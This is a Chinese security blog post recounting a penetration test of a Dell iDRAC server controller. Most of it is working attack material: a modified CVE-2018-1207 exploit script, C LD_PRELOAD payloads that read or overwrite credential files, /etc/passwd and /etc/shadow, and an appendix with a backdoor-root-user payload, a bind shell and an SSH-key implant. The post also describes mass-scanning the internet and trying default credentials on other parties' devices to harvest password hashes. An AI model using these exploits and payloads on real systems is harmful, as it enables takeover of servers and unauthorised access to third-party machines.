一次艰难的getshell--iDRAC 系统渗透

admin 2024年12月28日00:53:06评论107 views字数 13792阅读45分58秒阅读模式

本文作者:wolvez


0x01 前置知识    

1.1 背景    

攻防项目中发现 DELL IDRAC 设备,一旦控制了iDRAC权限,就可以同时控制由iDRAC控制的系统。本文将重点介绍获取该系统权限过程,以及遇到的问题解决方法。

1.2 IDRAC介绍    

BMC(Baseboard Management Controller)为主板管理控制器。它是一种硬件设备或嵌入式系统,通常位于计算机主板上,用于监控、管理和维护计算机系统的硬件和软件。他本质上使用传感器来与设备进行通信,允许对被控机器进行完全控制(例如KVM)。这样可以通过远程访问BMC,然后重新配置主机,更改BIOS设置,或者刷新受控设备的固件。

不同供应商的服务器和主板可能会配备不同类型的 BMC,例如,HP 的 iLO、华为的MGMT、Dell 的 iDRAC、浪潮的IPMI 等,都是 BMC 的具体实现。

BMC通常被实现为嵌入式系统,芯片外围会配置自己的RAM、Flash等器件,插电BMC就会快速运行起来。

BMC是一个独立的系统,不依赖与系统上的其他硬件(比如CPU、内存等等),也不依赖BIOS、OS等。但BMC可以与BIOS和OS交互,一般大规模的数据中心会有OS系统管理软件与BMC协同工作实现集中管理的工作。    

1.3 常见带外管理通信接口    

带外管理系统,是指远程客户端与服务器BMC通信,对服务器进行控制管理和维护。常见的带外管理接口有 IPMI 和 Redfish。

1.3.1 SMASH    

SMASH是一种DTMF标准化的命令行,通过SSH运行,大多数攻击面都是认证后的。可通过一些产品的默认账号密码登录。

一次艰难的getshell--iDRAC 系统渗透

1.3.2 SNMP    

SNMP是专门设计用于在IP网络管理网络节点(服务器、工作站、路由器、交换机及Hubs等)的一种标准协议。

$ snmpwalk -v1 -c public -m "./immalert.mib" 192.168.1.129            
    |       |       |               |               |            
              
    |       |       |               |               |------> 目标IP            
    |       |       |               |------> 指定MIB文件,包含了用于解释和查询SNMP数据的信息            
    |       |       |------> community字符public,用于只读访问            
    |       |------> SNMP版本v1            
    |------> 执行SNMP Walk操作,从设备上获取关于其管理信息的数据            
    

通过执行snmpwalk,返回一些管理数据或命令,或许可以从中找到一些可控的命令注入。

1.3.3 IPMI    

IPMI是BMC相关协议,用于远程管理BMC和访问大部分功能,包括UDP串行控制台。

历史问题:

·Cipher Zero认证绕过

·RAKP认证崩溃

·弱Session ID

0x02 iDRAC 渗透过程    

2.1 web端默认口令尝试    

通过搜索引擎得知 DELL IDRAC 设备默认管理账目密码为:

root:calvin

尝试登陆发现登陆失败    

2.2 CVE-2018-1207 漏洞尝试    

1.漏洞原理:

Environment Variable Injection leads to RCE – iDRAC 8

该漏洞是iDRAC上对环境变量处理不当导致的RCE。

/cgi-bin/discover?LD_PRELOAD=xxx 允许设置环境变量,写入任意动态链接库并加载

/cgi-bin/putfile CGI允许未授权用户在文件/tmp/sshpkauthupload.tmp中存储任意内容,限128KB。

exploit 实现步骤

POST /cgi-bin/putfile     上传任意文件内容            
POST /cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp     作为环境变量加载            

1.本地机器安装漏洞利用所需编译环境

安装 SuperH 4(SH-4)架构的 GNU Compiler Collection(GCC)编译器 apt-get install gcc-11-sh4-linux-gnu

漏洞Exp地址: https://github.com/grigorescu/dracly/tree/main/cve_2018_2017

编译及发送payload:

sh4-linux-gnu-gcc-11 -shared -fPIC ./readfile.c -o ./payload.so ; python3 cve_2018_2017.py 10.1.1.1 443

稍作修改:    

import requests            
import sys            
import re            
import struct            
import urllib3            
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)            
              
try:            
    host = sys.argv[1]            
    port = sys.argv[2]            
except IndexError:            
    print("Usage: python ./CVE-2018-1207.py")        
    print("       python ./CVE-2018-1207.py 192.168.1.10 443")        
    exit()        
         
url = f"https://{host}:{port}"        
proxy_url = "http://127.0.0.1:8083"        
         
login_url = f"{url}/cgi-bin/login?LD_DEBUG=files"        
         
         
payloadbin = 'payload.so'        
         
FFLAGS = 1        
f = open(payloadbin, 'rb')        
payload_so = f.read()        
f.close()        
         
f_alias = 'RACPKSSHAUTHKEY1'        
res = bytes((f_alias + (32 - len(f_alias)) * ''),'utf-8')        
res += struct.pack('        
           res += struct.pack('        
            res += payload_so        
         
print ("Upload payload")        
         
# Upload payload.so        
putfile_url = f"{url}/cgi-bin/putfile"        
response = requests.post(putfile_url, data=res, proxies={"https": proxy_url}, verify=False)        
if response.status_code == 200:        
    print("[+] OK")        
else:        
    print("Failed upload Payload")        
    exit()        
         
# LD_PRELOAD        
discover_url = f"{url}/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp"        
response = requests.get(discover_url, proxies={"https": proxy_url}, verify=False)        
print("Shell started. Good luck!")        
        
    

2.3 遇到的问题    

以下所有操作都是通过c 语言 api操作

·反弹shell => 失败    

·正向shell => 失败

·使用多种api执行命令 => 失败(触发敏感操作会卡很久,服务器拒绝连接,疑似安全设备阻拦)

·写入新文件 => 成功

·修改文件 => 成功

·列文件 => 成功

·SSH 服务 => 开启

·Telnet 服务=> 未开启

·VNC 服务=> 未开启

基于以上环境情况要获取shell权限有以下思路:

·通过修改/etc/passwd 文件来新增用户 = >修改成功但,未能登陆 (参考脏牛漏洞)

·读取/etc/shadow 文件破解hash => 读取成功,且破解出user1 hash(默认口令) ,未能破解出root hash ,使用user1登陆失败

·通过修改 /etc/shadow 文件修改root用户密码 => 修改成功,但登陆失败

·写入计划任务文件/var/spool/cron/root 突破命令执行=>写入失败,原因未知 (参考redies 写计划任务getshell)

·写入公钥 /root/.ssh/authorized_keys => 写入失败 (原因后面有分析)    

2.4 解决过程及问题分析复盘    

·查看相关资料发现IDRAC /etc/passwd && /etc/shadow 仅用作登陆后su 使用,及配置用户登陆相关环境

·ssh及web登陆认证保存位置 /flash/data0/cv/avctpasswd

/lib/security/pam_local_manager.so库使用其他库(libosi.so.1.2.3,libaim.so.1.2.3和libfnmgr-client.so.9.9.9)的函数来验证账户凭据,与glibc的通常函数getpwnam()和getspnam()无关。

最终,账户凭据存储在一个由/etc/init.d/credential-vault-13g.sh配置的凭据文件系统中。

该脚本将加密文件11挂载到/flash/13g-cv和/flash/data0/cv上。

iDRAC账户的凭据位于/flash/13g-cv/avctpasswd中,密码使用带盐的SHA256进行哈希处理。

最终思路如下:

备份并覆盖/flash/data0/cv/avctpasswd 文件中root 部分

一次艰难的getshell--iDRAC 系统渗透

翻阅资料: 字段 #15 是一个16字节长的盐,以十六进制编码表示。字段 #14 是将密码与盐连接后进行SHA256哈希处理的结果,同样以十六进制编码表示。

但是其它字段并不知道是什么含义,短时间无法自定义生成用户信息。

解决思路:找已知登陆密码的加密信息来替换目标加密    

通过网络空间搜索引擎 查找使用相同应用的系统,基于找到的url筛选出存在漏洞且存在默认口令的系统

·product="DELL-Remote-Access-Controller" && country="CN" fofa语法

·查找有漏洞系统且默认口令系统:

# 漏洞探测            
.httpx.exe -l .urls111.txt -path "/cgi-bin/login?LD_DEBUG=files" -sc -cl -ct -mc 503 -ms 'calling init:'  -o dellhosts.txt -nc            
              
## 注意二次筛选            
## 涉及工具自行搜索            
              
## 撞通用口令            
.ffuf.exe -w .url222.txt -u FUZZ/data/login -d "user=root&password=calvin" -mr '0' -o logins.txt            

·利用CVE-2018-1207读取存在默认口令系统/flash/data0/cv/avctpasswd 文件

#include
#include
// The following line is a quick trick to get our function to run when this        
// library is invoked with LD_PRELOAD        
__attribute__ ((constructor)) int        
main (void)        
{        
    printf ("Content-Type: application/octet-streamnn");        
    int c;        
    //FILE *fptr = fopen ("/tmp/osbmcpt.txt", "r");        
         
    // /flash/data0/cv/avctpasswd        
    FILE *fptr = fopen ("/flash/data0/cv/avctpasswd", "r");        
    if (fptr == NULL)        
        printf ("Error: File could not be opened n");        
    else        
    {        
        while ((c = getc (fptr)) != EOF)        
            putchar (c);        
        fclose (fptr);        
    }        
    exit(0);        
    return 0;        
}        
        
    

sh4-linux-gnu-gcc-11 -shared -fPIC ./readfile.c -o ./payload.so ; python3 kk.py 10.1.1.1 443

·覆盖/flash/data0/cv/avctpasswd 并读取覆盖后的文件(先备份)

#include
#include
__attribute__ ((constructor)) int        
   main() {        
    printf ("Content-Type: text/plainnn");        
    FILE *file;        
    int c;        
         
    //修改 root calvin        
    char *data = "@:@:1:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "root:aJNffvqa4oDkv8BqR1He3YQmM1z2pqoL2sKfZ5kWVPA=:2:1:Administrator:/flash/data0/home/root:/bin/sh:0x1FF:1:946684814:1:0:0:074B54CA8CCF61C3B08EF692B7B34A6B5FB83CDB1BE618D218DFC25224044905:C7C7C7606D4CD42221A523E5F0DE59FE:1n"        
        "@:@:3:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:4:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:5:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:6:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:7:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:8:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:9:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:10:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:11:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:12:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:13:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:14:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:15:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n"        
        "@:@:16:1:@:@:/bin/sh:0x0:0:946684814:0:0:0:@:@:0n";        
         
    file = fopen("/flash/data0/cv/avctpasswd", "w+");        
         
    if (file == NULL) {        
        printf("Error: File could not be openedn");        
        return 1;        
    }        
         
    fprintf(file, "%s", data);        
         
    rewind(file);        
         
    while ((c = getc(file)) != EOF) {        
        putchar(c);        
    }        
         
    fclose(file);        
         
    printf("File written and read successfully.n");        
         
    return 0;        
         
}        
        
    

· 最终成功通过重写/flash/data0/cv/avctpasswd 实现将密码重置为默认密码(root:calvin),并成功登陆web管理

一次艰难的getshell--iDRAC 系统渗透

·登陆ssh

登陆后发现当前用户为racuser非特权用户

查看/etc/passwd 发现该用户使用受限shell 无法正常使用

一次艰难的getshell--iDRAC 系统渗透

·受限shell解决

将其shell 改为/bin/sh (使用最开始的CVE-2018-1207 漏洞)

#include
#include
__attribute__ ((constructor)) int        
   main() {        
    printf ("Content-Type: text/plainnn");        
    FILE *file;        
    char *data = "root:x:0:0:root:/:/bin/shn"        
        "user1:x:500:500:Linux User,,,:/:/bin/shn"        
        "racuser:x:1000:500:Linux User,,,:/tmp:/bin/shn"        
        "avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologinn"        
        "sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/bin/falsen"        
        "messagebus:x:999:997::/var/lib/dbus:/bin/falsen"        
        "_lldpd:x:1001:1001:Linux User,,,:/home/_lldpd:/bin/shn";        
         
    file = fopen("/etc/passwd", "w");        
         
    fprintf(file, "%s", data);        
    fclose(file);        
         
    printf("File written successfully.n");        
    return 0;        
}        
        

·提升权限

修改su 密码(使用最开始的CVE-2018-1207 漏洞):

## 生成对应的密码            
openssl passwd -1 -salt fY6DG6Hu 'KingSoft@1123'            

#include
#include
__attribute__ ((constructor)) int        
   main() {        
    printf ("Content-Type: text/plainnn");        
    FILE *file;        
    char *data = "root:$1$fY6DG6Hu$jgMzQNgynDd.wCrUsF4iz.:13502:0:99999:7:::n"        
        "user1:$1$nVOr80rB$HDAd6FRlG24k/WN4ZuYPC0:0:0:99999:7:::n"        
        "racuser:!:0:0:99999:7:::n"        
        "avahi:!!:15569::::::n"        
        "sshd:*:11880:0:99999:7:-1:-1:0n"        
        "messagebus:!:15873:0:99999:7:::n"        
        "_lldpd:!:16555:0:99999:7:::n";        
         
    file = fopen("/etc/shadow", "w");        
         
    fprintf(file, "%s", data);        
    fclose(file);        
         
    printf("File written successfully.n");        
    return 0;        
}        
        

ssh [email protected] 登陆密码:calvin

su 密码:KingSoft@1123

一次艰难的getshell--iDRAC 系统渗透

·获取最高权限

至此获取ssh权限、后台web权限、及vnc权限

上面运行着ESXI

一次艰难的getshell--iDRAC 系统渗透

未能写入/root/.ssh/authorized_keys 原因:    

·目标目标环境中并不存在/root/ 目录,及.ssh子目录,且从/etc/passwd中得知 root home 目录是 / 根目录

·目标环境中/ 根目录为不可写目录

一次艰难的getshell--iDRAC 系统渗透

SSH 密码登陆失败原因:    

查看sshd 配置文件 /etc/ssh/sshd_config 发现PasswordAuthentication 选项注释了,表示无法通过密码登陆,所以造成无法使用密码登陆

一次艰难的getshell--iDRAC 系统渗透

0x03 附录:    

添加新管理员用户payload:

#include
#include
#define MAX_LENGTH 1000        
// The following line is a quick trick to get our function to run when this        
// library is invoked with LD_PRELOAD        
__attribute__ ((constructor)) int        
main (void)        
{        
    printf ("Content-Type: text/plainnn");        
    FILE *file = fopen("/etc/passwd", "r+");        
    if (file == NULL) {        
        printf("无法打开文件n");        
        return 1;        
    }        
         
    char original[MAX_LENGTH];        
    char temp[MAX_LENGTH];        
    // kingsoft:KingSoft@1123        
    char newLine[] = "kingsoft:$1$RZcohyKC$82HGkdxbytBSmlVfurbwR0:0:0:root:/:/bin/shn";        
         
    // 读取原始内容        
    fgets(original, MAX_LENGTH, file);        
         
    // 将文件指针移回文件开头        
    rewind(file);        
         
    // 写入新内容        
    strcpy(temp, newLine);        
    strcat(temp, original);        
    fputs(temp, file);        
         
    fclose(file);        
         
    exit(0);        
    return 0;        
}        
        

列目录:

#include
#include
#include
// The following line is a quick trick to get our function to run when this         
// library is invoked with LD_PRELOAD         
__attribute__ ((constructor)) int main(void)         
{         
    printf("Content-Type: text/plainnn");         
    DIR *dir;         
    struct dirent *entry;         
          
    dir = opendir("/");         
    printf("Files in /:n");         
    while ((entry = readdir(dir)) != NULL)         
    {         
        printf("%sn", entry->d_name);         
    }         
    closedir(dir);         
    return 0;         
}         
         

正向shell:

#include
#include
#include
#include
           
int host_sockid;    // sockfd for host          
int client_sockid;// sockfd for client          
           
struct sockaddr_in hostaddr;            // sockaddr struct          
           
static int main(void) __attribute__((constructor));          
static int main(void)          
{          
    int pid = fork();          
    if(!pid) {          
        // Create socket          
        host_sockid = socket(PF_INET, SOCK_DGRAM, 0);          
           
        // Initialize sockaddr struct to bind socket using it          
        hostaddr.sin_family = AF_INET;          
        hostaddr.sin_port = htons(8845);          
        hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);          
           
        // Bind socket to IP/Port in sockaddr struct          
        bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));          
           
        // Receive data from client          
        char buffer[1024];          
        int len = sizeof(hostaddr);          
        recvfrom(host_sockid, buffer, sizeof(buffer), 0, (struct sockaddr*) &hostaddr, &len);          
           
        // Duplicate file descriptors for STDIN, STDOUT and STDERR          
        dup2(host_sockid, 0);          
        dup2(host_sockid, 1);          
        dup2(host_sockid, 2);          
           
        // Execute /bin/sh          
        execve("/bin/sh", NULL, NULL);          
        close(host_sockid);          
           
        return 0;          
    }          
}          
          

创建 authorized_keys:

#include
#include
#include
#include
           
__attribute__((constructor)) int main(void) {          
    uid_t uid = getuid();          
    struct passwd *pw = getpwuid(uid);          
    const char* homeDir;          
           
    if (pw == NULL) {          
        perror("Failed to get home directory");          
        return 1;          
    }          
           
    homeDir = pw->pw_dir;          
           
    // 创建.ssh目录          
    const char* sshDirectoryPath = "/.ssh";          
    char sshDirPath[256];          
    snprintf(sshDirPath, sizeof(sshDirPath), "%s%s", homeDir, sshDirectoryPath);          
    if (mkdir(sshDirPath, 0700) != 0) {          
        perror("Failed to create .ssh directory");          
        return 1;          
    }          
           
    // 写入公钥到authorized_keys文件          
    const char* publicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDeuogG/lRwljzQY6sgVCl08RZQ6Oa52/aihKdZ2gUOCSBeZEb4AgIX1ABzRHgYoB5OS/OXPVSboJ+OHXd9VXypK+da965WkayjcUeuKuMwR5hvc0OigNS5+iePQr0poXLRGdWDHW13CzCdvrT6MODMPVr+yo0vpeVFPRoKT3DIJeiaaJZiT8bj0V94qdWRJlVvS2BGpsmRbPKWeVNG5VYXaTBNdZO9B/TKcbn18Qh3LgZZlujzsRuMcywitJ8Qpm3Rq4IOee5FAHJqsP8aa9ZgJqID9Gy7jpxHTy7cOq1mL8cdil6G7X6oABhBEZGHjaq9F7yihidxSxYN1bbmm2NoUdYgihLagRI2Kh0OJ1izxIaPYOydRzKd4PocUZL4ZQ+pVUilgqArDqAcKcdc6sM6PLAVdkwdImcELvX123JUV9RZB3NlNNVvoDMHfTxrUaCq8/0ivftJIYVWarQoDr4/WWu0hcjTVfMd0lqT/f01EEhEMNL6dUkvNjKl9km3d3RMQ3xpcNAkv/Vhm/5gilFKUqIPD+XXAPWZ4AYcKBg+OrFYkt+mU2Izc2AmCKR5/Vc+VZq7LBGOsukw58R2ouH49laDF5clV0HU803sakHVXkSB3OCLIwgl43d9KILls5TVUB4aufr+5DyWTztmG6M1uKqJ4c3e0nBewHPFXOO+kQ==";          
           
    const char* authorizedKeysFilePath = "/.ssh/authorized_keys";          
    char authorizedKeysPath[256];          
    snprintf(authorizedKeysPath, sizeof(authorizedKeysPath), "%s%s", homeDir, authorizedKeysFilePath);          
           
    FILE* authorizedKeysFile = fopen(authorizedKeysPath, "a");          
    if (authorizedKeysFile == NULL) {          
        perror("Failed to open authorized_keys file");          
        return 1;          
    }          
           
    if (fprintf(authorizedKeysFile, "%sn", publicKey) < 0) {          
        perror("Failed to write public key to authorized_keys file");          
        fclose(authorizedKeysFile);          
        return 1;          
    }          
           
    fclose(authorizedKeysFile);          
           
    return 0;          
}          
          

参考文章:https://ricardojoserf.github.io/Exploiting-iDRACs/

原文始发于微信公众号(中国白客联盟):一次艰难的getshell--iDRAC 系统渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日00:53:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次艰难的getshell--iDRAC 系统渗透https://cn-sec.com/archives/3563337.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息